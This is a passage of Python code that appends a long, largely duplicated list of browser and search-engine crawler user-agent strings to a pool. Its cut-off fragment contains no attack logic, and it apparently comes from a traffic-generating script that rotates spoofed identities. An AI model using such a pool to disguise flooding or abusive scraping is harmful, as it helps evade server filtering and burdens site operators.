headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com') headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)') headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)') headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)') headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)') headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)') headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)') headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)') headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)') headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 